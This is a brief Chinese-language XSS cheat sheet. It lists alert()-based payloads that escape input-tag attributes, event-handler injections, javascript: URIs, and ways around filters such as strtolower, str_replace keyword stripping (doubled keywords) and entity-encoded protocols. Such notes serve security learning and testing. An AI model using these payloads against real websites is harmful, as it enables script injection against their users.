简单型Xss
‘xss就是在页面上执行你想要的js’
带<input> 标签的型xss需要闭合参数才能进行注入。
"><script>alert(1)</script>test
"><img src=! οnerrοr=“alert(/xss/)”>
<a href="" οnmοuseοver=“alert(/xss/)”>xss</a>
"><img src=“javascript:alert(/xss/)”> //浏览器可能会过滤这个
"><a href=“javascript:alert(/xss/)”>xss</a>//浏览器可能会过滤这个
如果输出点做了htmlspecialchars()转义成HTML实体,尝试看双引号和尖括号和单引号是否过滤,没过滤哪个用哪个。
(搜索框触发机制)
'οnclick=‘javascript:alert(1)’
’ οnmοuseοver='alert(/xss/)
"οnclick=‘javascript:alert(1)’
'><script>alert(1)</script>wait
" οnfοcus="alert(/xss/)
注意:onclick 和 onmouseover 需要点击输入框 才可触发payload.
strtolower():会把提交的所有字符转换为小写。(大小写绕过就不能用)
如果<script>被过滤,逃出input标签需要换标签。
"><a href=“javascript:alert(/xss/)”>xss</a>
只过滤了关键字,未有strolower()函数
则可使用大小写绕过。
"><sCript>alert(/xss/)</sCript>
在input标签中触发XSS:" ONmouseover="alert(/xss/)
str_replace():以其他字符替换字符串中的一些字符(区分大小写)。
"><scscriptript>alert(/xss/)</scscriptript>
" oonnmouseover="alert(/xss/)
将字符转换为小写,然后过滤特殊字符和双引号,最后又加了一个转义函数输出,所以按常规方法绕几乎不可能成功。这时可以考虑用协议绕过:javascript,alert,script被转换,可以考虑用编码代替:
javascript:alert(/xss/)
javascript:alert(/xss/)
javascript:alert(1)